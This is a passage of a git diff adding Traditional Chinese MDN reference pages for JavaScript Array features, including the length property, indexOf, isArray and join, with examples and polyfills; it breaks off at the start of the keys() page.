+<h3 id="Relationship_between_length_and_numerical_properties" name="Relationship_between_length_and_numerical_properties"><code>length</code> 與數值屬性的關係</h3>
+
+<p>JavaScript 陣列的 {{jsxref("Array.length", "length")}} 屬性和其數值屬性相關。許多陣列的方法被呼叫時會參考 {{jsxref("Array.length", "length")}} 屬性的值（例如 {{jsxref("Array.join", "join")}}、{{jsxref("Array.slice", "slice")}}、{{jsxref("Array.indexOf", "indexOf")}} 等）。而有另一些方法則會去改變 {{jsxref("Array.length", "length")}} 屬性的值，如 {{jsxref("Array.push", "push")}}、{{jsxref("Array.splice", "splice")}}。</p>
+
+<pre class="brush: js">var fruits = [];
+fruits.push('banana', 'apple', 'peach');
+
+console.log(fruits.length); // 3
+</pre>
+
+<p>如果給陣列設定一個數值屬性，其值為有效但超過當下範圍的陣列 index，JavaScript 引擎會依照此數值更新陣列的 {{jsxref("Array.length", "length")}} 屬性：</p>
+
+<pre class="brush: js">fruits[5] = 'mango';
+console.log(fruits[5]); // 'mango'
+console.log(Object.keys(fruits));  // ['0', '1', '2', '5']
+console.log(fruits.length); // 6
+</pre>
+
+<p>提高 {{jsxref("Array.length", "length")}} 屬性。</p>
+
+<pre class="brush: js">fruits.length = 10;
+console.log(Object.keys(fruits)); // ['0', '1', '2', '5']
+console.log(fruits.length); // 10
+</pre>
+
+<div>
+<p>降低 {{jsxref("Array.length", "length")}} 屬性則會刪除陣列元素。</p>
+
+<pre class="brush: js">fruits.length = 2;
+console.log(Object.keys(fruits)); // ['0', '1']
+console.log(fruits.length); // 2
+</pre>
+
+<p>在 {{jsxref("Array.length")}} 頁面裡有進一步解釋。</p>
+</div>
+
+<h3 id="Creating_an_array_using_the_result_of_a_match" name="Creating_an_array_using_the_result_of_a_match">使用 match 回傳結果來建立陣列</h3>
+
+<p>在字串與正規表示式之間的比對結果會產生一個 javascript 陣列。此陣列內含關於比對資訊的屬性與元素。 這樣的陣列由{{jsxref("RegExp.exec")}}, {{jsxref("String.match")}}, 和 {{jsxref("String.replace")}} 所產生。參考以下範例和表格，會有助於說明這些屬性和元素：</p>
+
+<pre class="brush: js">// 比對一個字元 d，後面接著一或多個 b，再接著一個 d
+// Remember matched b's and the following d
+// 忽略大小寫
+
+var myRe = /d(b+)(d)/i;
+var myArray = myRe.exec('cdbBdbsbz');
+</pre>
+
+<p>這項比對結果的屬性與元素參考如下：</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header">屬性/元素</td>
+   <td class="header">說明</td>
+   <td class="header">範例</td>
+  </tr>
+  <tr>
+   <td><code>input</code></td>
+   <td>唯讀屬性，代表 正規表示式用以比對的原始字串。</td>
+   <td>cdbBdbsbz</td>
+  </tr>
+  <tr>
+   <td><code>index</code></td>
+   <td>唯讀屬性，代表在字串中比對得到的索引，是以零為基礎(從0開始)。</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td><code>[0]</code></td>
+   <td>一個唯獨元素以表示最後符合的字串</td>
+   <td>dbBd</td>
+  </tr>
+  <tr>
+   <td><code>[1], ...[n]</code></td>
+   <td>Read-only elements that specify the parenthesized substring matches, if included in the regular expression. The number of possible parenthesized substrings is unlimited.</td>
+   <td>[1]: bB<br>
+    [2]: d</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Properties" name="Properties">屬性</h2>
+
+<dl>
+ <dt>Array.length</dt>
+ <dd><code>Array</code> 建構子的長度為 1。</dd>
+ <dt>{{jsxref("Array.@@species", "get Array[@@species]")}}</dt>
+ <dd>用來建立衍生物件的建構函數。</dd>
+ <dt>{{jsxref("Array.prototype")}}</dt>
+ <dd>可加入屬性至所有陣列物件。</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">方法</h2>
+
+<dl>
+ <dt>{{jsxref("Array.from()")}}</dt>
+ <dd>用類似陣列或可列舉物件，來建立新的 <code>Array</code> 實例。</dd>
+ <dt>{{jsxref("Array.isArray()")}}</dt>
+ <dd>若變數是陣列就回傳 true，否則回傳 false。</dd>
+ <dt>{{jsxref("Array.of()")}}</dt>
+ <dd>用可變數量的引數來建立新的 <code>Array</code> 實例，不論引數的數量或型別。</dd>
+</dl>
+
+<h2 id="Array_instances" name="Array_instances"><code>Array</code> 實例</h2>
+
+<p>所有的陣列實例都繼承自 {{jsxref("Array.prototype")}}。若修改這個陣列建構子 (Array constructor) 的原型物件 (prototype object)，將會影響所有的陣列實體。</p>
+
+<h3 id="Methods_of_array_instances" name="Methods_of_array_instances">屬性</h3>
+
+<div>{{page('/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Properties')}}</div>
+
+<h3 id="Methods_of_array_instances" name="Methods_of_array_instances">方法</h3>
+
+<h4 id="Mutator_methods" name="Mutator_methods">Mutator methods</h4>
+
+<div>{{page('zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Mutator_methods')}}</div>
+
+<h4 id="Accessor_methods" name="Accessor_methods">Accessor methods</h4>
+
+<div>{{page('zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Accessor_methods')}}</div>
+
+<h4 id="Iteration_methods" name="Iteration_methods">Iteration methods</h4>
+
+<div>{{page('zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Iteration_methods')}}</div>
+
+<h2 id="Array_泛型方法"><code>Array</code> 泛型方法</h2>
+
+<div class="warning">
+<p><strong>泛型陣列並非標準且已被棄用，將會在不久之後被去除。</strong> </p>
+</div>
+
+<p>有時你想將陣列方法用於字串或其他類陣列物件（像是函數 {{jsxref("Functions/arguments", "arguments", "", 1)}}）。藉此操作，你將此字串視為由字元組成的陣列（反之為將其他非陣列視為物件）。如範例，若要確認字串中的每個字元是不是字母，你可能會這樣寫：</p>
+
+<pre class="brush: js">function isLetter(character) {
+  return character &gt;= 'a' &amp;&amp; character &lt;= 'z';
+}
+
+if (Array.prototype.every.call(str, isLetter)) {
+  console.log("The string '" + str + "' contains only letters!");
+}
+</pre>
+
+<p>這種表示法相當浪費，JavaScript 1.6 導入了一個通用方法：</p>
+
+<pre class="brush: js">if (Array.every(str, isLetter)) {
+  console.log("The string '" + str + "' contains only letters!");
+}
+</pre>
+
+<p>{{jsxref("Global_Objects/String", "Generics", "#String_generic_methods", 1)}} 也同樣可用於 {{jsxref("String")}}.</p>
+
+<p>這<strong>並非 </strong>ECMAScript 的標準，且不被非 Gecko 引擎的瀏覽器支援。你應該將你的物件用  {{jsxref("Array.from()")}} 轉為陣列，以標準替代原有的方法；雖然此方法可能不被舊的瀏覽器所支援：</p>
+
+<pre class="brush: js">if (Array.from(str).every(isLetter)) {
+  console.log("The string '" + str + "' contains only letters!");
+}
+</pre>
+
+<h2 id="Examples" name="Examples">範例</h2>
+
+<h3 id="Example_Creating_an_array" name="Example:_Creating_an_array">範例：建立陣列</h3>
+
+<p>以下範例會產生長度為 0 的 <code>msgArray</code> 陣列，然後指派字串值到 <code>msgArray[0]</code> 及 <code>msgArray[99]</code>，使陣列的長度變為 100。</p>
+
+<pre class="brush: js">var msgArray = [];
+msgArray[0] = 'Hello';
+msgArray[99] = 'world';
+
+if (msgArray.length === 100) {
+  console.log('The length is 100.');
+}
+</pre>
+
+<h3 id="Example_Creating_a_two-dimensional_array" name="Example:_Creating_a_two-dimensional_array">建立二維陣列</h3>
+
+<p>以下範例會用字串產生一張西洋棋盤的二維陣列。第一步是將士兵 'p' 從 (6,4) 移動至 (4,4)，然後清空原本的位置 (6,4)。</p>
+
+<pre class="brush: js">var board = [
+  ['R','N','B','Q','K','B','N','R'],
+  ['P','P','P','P','P','P','P','P'],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  ['p','p','p','p','p','p','p','p'],
+  ['r','n','b','q','k','b','n','r'] ];
+
+console.log(board.join('\n') + '\n\n');
+
+// 將士兵往前移兩步
+board[4][4] = board[6][4];
+board[6][4] = ' ';
+console.log(board.join('\n'));
+</pre>
+
+<p>以下是輸出結果：</p>
+
+<pre class="eval">R,N,B,Q,K,B,N,R
+P,P,P,P,P,P,P,P
+ , , , , , , ,
+ , , , , , , ,
+ , , , , , , ,
+ , , , , , , ,
+p,p,p,p,p,p,p,p
+r,n,b,q,k,b,n,r
+
+R,N,B,Q,K,B,N,R
+P,P,P,P,P,P,P,P
+ , , , , , , ,
+ , , , , , , ,
+ , , , ,p, , ,
+ , , , , , , ,
+p,p,p,p, ,p,p,p
+r,n,b,q,k,b,n,r
+</pre>
+
+<h3 id="使用陣列來以表格顯示多個數值">使用陣列來以表格顯示多個數值</h3>
+
+<pre class="brush: js">values = [];
+for (var x = 0; x &lt; 10; x++){
+ values.push([
+  2 ** x,
+  2 * x ** 2
+ ])
+};
+console.table(values)</pre>
+
+<p>結果會是</p>
+
+<pre class="eval">0	1	0
+1	2	2
+2	4	8
+3	8	18
+4	16	32
+5	32	50
+6	64	72
+7	128	98
+8	256	128
+9	512	162</pre>
+
+<p>（第一欄為索引）</p>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">技術規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>初次定義。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4', 'Array')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>加入新方法：{{jsxref("Array.isArray")}}, {{jsxref("Array.prototype.indexOf", "indexOf")}}, {{jsxref("Array.prototype.lastIndexOf", "lastIndexOf")}}, {{jsxref("Array.prototype.every", "every")}}, {{jsxref("Array.prototype.some", "some")}}, {{jsxref("Array.prototype.forEach", "forEach")}}, {{jsxref("Array.prototype.map", "map")}}, {{jsxref("Array.prototype.filter", "filter")}}, {{jsxref("Array.prototype.reduce", "reduce")}}, {{jsxref("Array.prototype.reduceRight", "reduceRight")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array-objects', 'Array')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>加入新方法：{{jsxref("Array.from")}}, {{jsxref("Array.of")}}, {{jsxref("Array.prototype.find", "find")}}, {{jsxref("Array.prototype.findIndex", "findIndex")}}, {{jsxref("Array.prototype.fill", "fill")}}, {{jsxref("Array.prototype.copyWithin", "copyWithin")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES7', '#sec-array-objects', 'Array')}}</td>
+   <td>{{Spec2('ES7')}}</td>
+   <td>加入新方法：{{jsxref("Array.prototype.includes()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array")}}</p>
+
+<h2 id="See_also" name="See_also">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Guide/Working_with_Objects#Indexing_object_properties">JavaScript Guide: “Indexing object properties”</a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Guide/Predefined_Core_Objects#Array_Object">JavaScript Guide: “Predefined Core Objects: <code>Array</code> Object”</a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Array_comprehensions">Array comprehensions</a></li>
+ <li><a href="https://github.com/plusdude/array-generics">Polyfill for JavaScript 1.8.5 Array Generics and ECMAScript 5 Array Extras</a></li>
+ <li><a href="/zh-TW/docs/JavaScript_typed_arrays">Typed Arrays</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/indexof/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/indexof/index.html
new file mode 100644
index 0000000000..ff6bbdba76
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/indexof/index.html
@@ -0,0 +1,260 @@
+---
+title: Array.prototype.indexOf()
+slug: Web/JavaScript/Reference/Global_Objects/Array/indexOf
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/indexOf
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>indexOf()</strong></code> 方法會回傳給定元素於陣列中第一個被找到之索引，若不存在於陣列中則回傳 -1。</p>
+
+<div class="note">
+<p><strong>備註：</strong>若是調用字串的方法，請參閱 {{jsxref("String.prototype.indexOf()")}}。</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/array-indexof.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.indexOf(<var>searchElement[</var>, <var>fromIndex]</var>)</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>欲在陣列中搜尋的元素。</dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>陣列中搜尋的起始索引。若這個索引值大於或等於陣列長度，會直接回傳 -1，意即不會在陣列中搜尋。如果索引值是一個負數，會從陣列的最後一個往回算，最後一個的索引值為 -1，以此類推。注意：儘管往回算，但依然會從左往右全部搜尋。如果負數索引值在回頭計算之後仍然小於 0，則會從左往右全部搜尋。 這個參數的預設值為 0（即搜尋整個陣列）。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>在陣列中找到的第一個元素索引值；沒找到則為 <strong>-1</strong>。</p>
+
+<h2 id="說明">說明</h2>
+
+<p><code>indexOf()</code> 用<a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators">嚴格相等（strict equality，<code>===</code>）</a>的方式比較陣列中的元素與 <code>searchElement</code> 是否相等。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_indexOf()">使用 <code>indexOf()</code></h3>
+
+<p>下面範例使用<code>indexOf()</code>來定位在陣列中的值。</p>
+
+<pre class="brush: js">var array = [2, 9, 9];
+array.indexOf(2);     // 0
+array.indexOf(7);     // -1
+array.indexOf(9, 2);  // 2
+array.indexOf(2, -1); // -1
+array.indexOf(2, -3); // 0
+</pre>
+
+<h3 id="尋找該元素所有出現在陣列中的位置">尋找該元素所有出現在陣列中的位置</h3>
+
+<pre class="brush: js">var indices = [];
+var array = ['a', 'b', 'a', 'c', 'a', 'd'];
+var element = 'a';
+var idx = array.indexOf(element);
+while (idx != -1) {
+  indices.push(idx);
+  idx = array.indexOf(element, idx + 1);
+}
+console.log(indices);
+// [0, 2, 4]
+</pre>
+
+<h3 id="尋找元素是否存在於陣列中，若沒有則加入到陣列裡。">尋找元素是否存在於陣列中，若沒有則加入到陣列裡。</h3>
+
+<pre class="brush: js">function updateVegetablesCollection (veggies, veggie) {
+    if (veggies.indexOf(veggie) === -1) {
+        veggies.push(veggie);
+        console.log('New veggies collection is : ' + veggies);
+    } else if (veggies.indexOf(veggie) &gt; -1) {
+        console.log(veggie + ' already exists in the veggies collection.');
+    }
+}
+
+var veggies = ['potato', 'tomato', 'chillies', 'green-pepper'];
+
+updateVegetablesCollection(veggies, 'spinach');
+// New veggies collection is : potato,tomato,chillies,green-pepper,spinach
+updateVegetablesCollection(veggies, 'spinach');
+// spinach already exists in the veggies collection.
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>indexOf()</code> was added to the ECMA-262 standard in the 5th edition; as such it may not be present in all browsers. You can work around this by utilizing the following code at the beginning of your scripts. This will allow you to use <code>indexOf()</code> when there is still no native support. This algorithm matches the one specified in ECMA-262, 5th edition, assuming {{jsxref("Global_Objects/TypeError", "TypeError")}} and {{jsxref("Math.abs()")}} have their original values.</p>
+
+<p> </p>
+
+<pre class="brush: js">if (!Array.prototype.indexOf) {
+  Array.prototype.indexOf = function indexOf(member, startFrom) {
+    /*
+    In non-strict mode, if the `this` variable is null or undefined, then it is
+    set to the window object. Otherwise, `this` is automatically converted to an
+    object. In strict mode, if the `this` variable is null or undefined, a
+    `TypeError` is thrown.
+    */
+    if (this == null) {
+      throw new TypeError("Array.prototype.indexOf() - can't convert `" + this + "` to object");
+    }
+
+    var
+      index = isFinite(startFrom) ? Math.floor(startFrom) : 0,
+      that = this instanceof Object ? this : new Object(this),
+      length = isFinite(that.length) ? Math.floor(that.length) : 0;
+
+    if (index &gt;= length) {
+      return -1;
+    }
+
+    if (index &lt; 0) {
+      index = Math.max(length + index, 0);
+    }
+
+    if (member === undefined) {
+      /*
+        Since `member` is undefined, keys that don't exist will have the same
+        value as `member`, and thus do need to be checked.
+      */
+      do {
+        if (index in that &amp;&amp; that[index] === undefined) {
+          return index;
+        }
+      } while (++index &lt; length);
+    } else {
+      do {
+        if (that[index] === member) {
+          return index;
+        }
+      } while (++index &lt; length);
+    }
+
+    return -1;
+  };
+}</pre>
+
+<p> </p>
+
+<p>However, if you are more interested in all the little technical bits defined by the ECMA standard, and are less concerned about performance or conciseness, then you may find this more descriptive polyfill to be more usefull.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.14
+// Reference: http://es5.github.io/#x15.4.4.14
+if (!Array.prototype.indexOf) {
+  Array.prototype.indexOf = function(searchElement, fromIndex) {
+
+    var k;
+
+    // 1. Let o be the result of calling ToObject passing
+    //    the this value as the argument.
+    if (this == null) {
+      throw new TypeError('"this" is null or not defined');
+    }
+
+    var o = Object(this);
+
+    // 2. Let lenValue be the result of calling the Get
+    //    internal method of o with the argument "length".
+    // 3. Let len be ToUint32(lenValue).
+    var len = o.length &gt;&gt;&gt; 0;
+
+    // 4. If len is 0, return -1.
+    if (len === 0) {
+      return -1;
+    }
+
+    // 5. If argument fromIndex was passed let n be
+    //    ToInteger(fromIndex); else let n be 0.
+    var n = fromIndex | 0;
+
+    // 6. If n &gt;= len, return -1.
+    if (n &gt;= len) {
+      return -1;
+    }
+
+    // 7. If n &gt;= 0, then Let k be n.
+    // 8. Else, n&lt;0, Let k be len - abs(n).
+    //    If k is less than 0, then let k be 0.
+    k = Math.max(n &gt;= 0 ? n : len - Math.abs(n), 0);
+
+    // 9. Repeat, while k &lt; len
+    while (k &lt; len) {
+      // a. Let Pk be ToString(k).
+      //   This is implicit for LHS operands of the in operator
+      // b. Let kPresent be the result of calling the
+      //    HasProperty internal method of o with argument Pk.
+      //   This step can be combined with c
+      // c. If kPresent is true, then
+      //    i.  Let elementK be the result of calling the Get
+      //        internal method of o with the argument ToString(k).
+      //   ii.  Let same be the result of applying the
+      //        Strict Equality Comparison Algorithm to
+      //        searchElement and elementK.
+      //  iii.  If same is true, return k.
+      if (k in o &amp;&amp; o[k] === searchElement) {
+        return k;
+      }
+      k++;
+    }
+    return -1;
+  };
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.14', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.indexOf")}}</p>
+</div>
+
+<h2 id="相容性備註">相容性備註</h2>
+
+<ul>
+ <li>Starting with Firefox 47 {{geckoRelease(47)}},  this method will no longer return <code>-0</code>. For example, <code>[0].indexOf(0, -0)</code> will now always return <code>+0</code> ({{bug(1242043)}}).</li>
+</ul>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/isarray/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/isarray/index.html
new file mode 100644
index 0000000000..f610cd1f54
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/isarray/index.html
@@ -0,0 +1,134 @@
+---
+title: Array.isArray()
+slug: Web/JavaScript/Reference/Global_Objects/Array/isArray
+tags:
+  - Array
+  - ECMAScript5
+  - JavaScript
+  - Method
+  - Reference
+  - polyfill
+  - 方法
+  - 陣列
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/isArray
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Array.isArray()</strong></code> 函式會檢查傳入的值是否為一個 {{jsxref("Array")}}。</p>
+
+<pre class="brush: js">Array.isArray([1, 2, 3]);  // true
+Array.isArray({foo: 123}); // false
+Array.isArray('foobar');   // false
+Array.isArray(undefined);  // false
+</pre>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox">Array.isArray(<var>obj</var>)</pre>
+
+<h3 id="Parameters" name="Parameters">參數</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>要檢查的物件。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>若物件為 {{jsxref("Array")}} 回傳 <code>true</code>；否則回傳 <code>false</code>。</p>
+
+<h2 id="Description" name="Description">描述</h2>
+
+<p>檢查傳入的物件是否為陣列（{{jsxref("Array")}}），如果是便回傳 <code>true</code>，否則回傳 <code>false</code>。</p>
+
+<p>更多細節請參考 <a href="http://web.mit.edu/jwalden/www/isArray.html">“Determining with absolute accuracy whether or not a JavaScript object is an array”</a>。</p>
+
+<h2 id="Examples" name="Examples">範例</h2>
+
+<pre class="brush: js">// 下方都回傳 true
+Array.isArray([]);
+Array.isArray([1]);
+Array.isArray(new Array());
+Array.isArray(new Array('a', 'b', 'c', 'd'));
+Array.isArray(new Array(3));
+// 小細節：Array.prototype 本身是陣列：
+Array.isArray(Array.prototype);
+
+// 下方都回傳 false
+Array.isArray();
+Array.isArray({});
+Array.isArray(null);
+Array.isArray(undefined);
+Array.isArray(17);
+Array.isArray('Array');
+Array.isArray(true);
+Array.isArray(false);
+Array.isArray({ __proto__: Array.prototype });
+</pre>
+
+<h3 id="instanceof_vs_isArray"><code>instanceof</code> vs <code>isArray</code></h3>
+
+<p>當檢查 <code>Array</code> 實例時，<code>Array.isArray</code> 相較於 <code>instanceof</code> 更加推薦，因為它可以穿透 <code>iframes</code>。</p>
+
+<pre class="brush: js">var iframe = document.createElement('iframe');
+document.body.appendChild(iframe);
+xArray = window.frames[window.frames.length-1].Array;
+var arr = new xArray(1,2,3); // [1,2,3]
+
+// 正確地檢查陣列型態
+Array.isArray(arr);  // true
+// 有害地，因為它不能在 iframes 之間正常運作
+arr instanceof Array; // false
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>如果 <code>Array.isArray()</code> 不存在於您的環境，在其他程式碼前執行下列程式碼可建置 <code>Array.isArray()</code>。</p>
+
+<pre class="brush: js">if (!Array.isArray) {
+  Array.isArray = function(arg) {
+    return Object.prototype.toString.call(arg) === '[object Array]';
+  };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.3.2', 'Array.isArray')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.isarray', 'Array.isArray')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.isarray', 'Array.isArray')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.isArray")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/join/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/join/index.html
new file mode 100644
index 0000000000..0beaecebdd
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/join/index.html
@@ -0,0 +1,109 @@
+---
+title: Array.prototype.join()
+slug: Web/JavaScript/Reference/Global_Objects/Array/join
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/join
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>join()</strong></code> 方法會將陣列（或一個<a href="/zh-TW/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">類陣列（array-like）物件</a>）中所有的元素連接、合併成一個字串，並回傳此字串。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-join.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.join(<em>[</em><var>separator]</var>)</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>separator</code> {{optional_inline}}</dt>
+ <dd>用來隔開陣列中每個元素的字串。如果必要的話，separator 會自動被轉成字串型態。如果未傳入此參數，陣列中的元素將預設用英文逗號（「,」）隔開。如果 <code>separator</code> 是空字串，合併後，元素間不會有任何字元。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個合併所有陣列元素的字串。假如 <code><em>arr</em>.length</code> 為 <code>0</code>，將回傳空字串。</p>
+
+<h2 id="描述">描述</h2>
+
+<p>將所有陣列中的元素轉成字串型態後，連接合併成一個字串。任何 <code>undefined</code> 或 <code>null</code> 的元素都會被視為空字串處理。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="舉例四種合併用法">舉例四種合併用法</h3>
+
+<p>下方的範例中，首先宣告一個陣列—<code>a</code>，其中有三個元素。接著分別用：預設值、逗號、加號和空字串將陣列連接。</p>
+
+<pre class="brush: js">var a = ['Wind', 'Rain', 'Fire'];
+a.join();      // 'Wind,Rain,Fire'
+a.join(', ');  // 'Wind, Rain, Fire'
+a.join(' + '); // 'Wind + Rain + Fire'
+a.join('');    // 'WindRainFire'</pre>
+
+<h3 id="合併一個類陣列（array-like）物件">合併一個類陣列（array-like）物件</h3>
+
+<p>下方的範例將合併一個類陣列（array-like）物件（<code><a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a></code>），藉由 {{jsxref("Function.prototype.call")}} 來呼叫 <code>Array.prototype.join</code>。</p>
+
+<pre class="brush: js">function f(a, b, c) {
+  var s = Array.prototype.join.call(arguments);
+  console.log(s); // '<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">1,a,true'</span></span></span></span>
+}
+f(1, 'a', true);
+//expected output: "1,a,true"
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.5', 'Array.prototype.join')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.join', 'Array.prototype.join')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.join', 'Array.prototype.join')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.join")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.join()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/keys/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/keys/index.html
new file mode 100644
index 0000000000..fa71299ecb
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/keys/index.html
@@ -0,0 +1,76 @@
+---
+title: Array.prototype.keys()
+slug: Web/JavaScript/Reference/Global_Objects/Array/keys
+tags:
+  - Array
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/keys
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>keys()</strong></code> 方法會回傳一個包含陣列中的每一個索引之鍵（keys）的新 <code><strong>Array Iterator</strong></code> 物件。</p>
+
